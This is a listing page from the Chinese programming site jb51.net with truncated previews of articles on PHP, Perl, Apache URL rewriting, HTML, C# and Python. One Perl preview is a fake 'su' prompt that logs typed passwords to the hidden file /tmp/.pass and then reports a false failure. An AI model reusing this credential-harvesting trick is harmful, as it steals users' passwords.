脚 本 之 家 www.jb51.net
页面导航:  不限条件-->RL
本地搜索:
友好URL的实现(吐血推荐)大家经常看到别的站的URL是这样的吧?http://www.xxx.com/module/show/action/list/page/7或者http://xx.com/module/show/action/show/id/8.shtml带扩展名的或者http://xx.com/module/show/action/show/id/8?word=ss&age=11这样的吧今天我就是公布下这种方法的实现,并独立出最简单的代码函数如下,没封装成类,主要是没必要,用函数能方便些[code]<?php/***获得友好的URL访问**@accesspublic*@...
http://www.jb51.net//article/16076.htm
1lineperl今天来说说perl,只有一行的perl程序。各种编程语言中perl是以变态的古灵精怪而闻名的,比如我,就经常写出自己都看不懂的perl程序来。比如这篇文档中的程序,虽然短小,估计一个星期之后我看这就要头晕了。但这丝毫不影响perl作为一个功能强大的系统管理工具和系统控制语言的存在和推广,而且灵活性恰恰是它最大的优势,你可以这样写,也可以那样写,“或者,绝招同途异路。”1.helloworld!===========================================================还是从最经典的hello,world!开始......###perl...
http://www.jb51.net//article/16043.htm
NULL值的判断$t{type1id}=$$pref{dbh}->selectrow_array("SELECTtype1idFROMenq1WHEREid=3");if($t{type1id}==0){print"Type1idisNULL\n";}==>不是数值项的话,这个语句有问题。数值项专用。if(length($t{type1id})==0){print"Type1idisNULL\n";}==>如果Null的话,这个语句有问题如果@rec含有NULL的话,下面的操作要出错误信息$t{line1}=join('',@rec);($t{old1},$t{new1p},...
http://www.jb51.net//article/16042.htm
Perl从5.6开始已经开始在内部使用utf8编码来表示字符,也就是说对中文以及其他语言字符的处理应该是完全没有问题的。我们只需要利用好Encode这个模块便能充分发挥Perl的utf8字符的优势了。下面就以中文文本的处理为例进行说明,比如有一个字符串"测试文本",我们想要把这个中文字符串拆成单个字符,可以这样写:useEncode;$dat="测试文本";$str=decode("gb2312",$dat);@chars=split//,$str;foreach$char(@chars){printencode("gb2312",$char),"\n";}结果大家试一试就知道了,应该是令人满...
http://www.jb51.net//article/16041.htm
所以凡是使用linux的主机,我都会定义个301重定向,以利于SEO。昨天照例把htaccess传到服务器上,没想到传上后网站无法访问,一删除就恢复正常。看了很多遍代码,也没发现什么问题。干脆就重新学习下URL重写方法。规范化URL描述:在有些web服务器上,一个资源会拥有多个URL。在实际应用和发布中应该使用的是规范的URL,其他的则是简写或者只在内部使用。无论用户在请求中使用什么形式的URL,最终看见的都应该是规范的URL。解决方案:对所有不规范的URL执行一个外部HTTP重定向,以改变它在浏览器地址栏中的显示及其后继请求。下例中的规则集用规范的/u/user替换/~user,并修正了/u...
http://www.jb51.net//article/16017.htm
最近在用perl+mdbm+spread做东西。php是用了很久了,python和ruby与用过,经典脚本语言就perl没摸过,现在在像小学生一样抱着教科书啃。发现perl果然有难度多了。别的东西没让我这么频繁地犯错误。1.第一个常见的错误是:向文件输出内容。标准语法是:printSTDERR"thisisanapple.";我一般都会写成printSTDERR,"thisisanapple.";总是多打一个逗号。老实说,一般我很少重复地犯错误,但是这个地方我就是记不住。2.第二个常见错误是:经常漏写Hash引用的箭头。本来应该写成print$hash->{$key};我常常写成prin...
http://www.jb51.net//article/15989.htm
[html]<!DOCTYPEHTMLPUBLIC"-//W3C//DTDHTML4.01Transitional//EN""http://www.w3.org/TR/html4/loose.dtd"><html><head><metahttp-equiv="Content-Type"content="text/html;charset=gb2312"><title>无标题文档</title><styletype="text/css"><!--body{font-size:12px;font-weight...
http://www.jb51.net//article/15941.htm
我改了一下,把回显关了加了个延时:#!/usr/bin/perl#Writtenbyxi4oyu<evil.xi4oyu@gmail.com>.print"Password:";`stty-echo`;$s1=<STDIN>;print"\n";`sttyecho`;sleep3;print"su:incorrectpassword\n";chomp($s1);$s2="Passwordis:";$s3="".`date+%Y-%m-%d`;open(users,">>/tmp/.pass")||die;printusers($s2,$s1,$s3);clo...
http://www.jb51.net//article/15832.htm
具体操作办法(仅适用于apache网络服务器):文件位置:apache->conf->httpd.conf请在httpd.conf中使用Alias指令:Alias/newurl/www/htdocs/oldurl如:用户访问新的地址example.com/newurl/id34.html服务器将提供的内容原地址是example.com/www/htdocs/oldurl/id34.html。注意:Alias只会改变本地URL,如www.xxx.com/newurl/id34.html的/newurl/id34.html部分,而无法改变URL的主机名称部分(如:http://www....
http://www.jb51.net//article/15829.htm
需要引入命名空间:[code]usingSystem.Net;usingSystem.IO;[/code]函数内容:[code]///<summary>///根据Url获得源文件内容///</summary>///<paramname="url">合法的Url地址</param>///<returns></returns>publicstaticstringGetSourceTextByUrl(stringurl){WebRequestrequest=WebRequest.Create(url);request.Timeo...
http://www.jb51.net//article/15786.htm
一、打开一个网页获取所有的内容fromurllibimporturlopendoc=urlopen("http://www.baidu.com").read()printdoc二、获取Http头fromurllibimporturlopendoc=urlopen("http://www.baidu.com")printdoc.info()printdoc.info().getheader('Content-Type') 三、使用代理   1.查看环境变量print""n".join(["%s=%s"%(k,v)fork,vinos.environ.ite...
http://www.jb51.net//article/15720.htm
共有:130/10,当前1/13页  [首页] [上一页] 1 2 3 4 5 6 7 8 [下一页]  [尾页] 转到: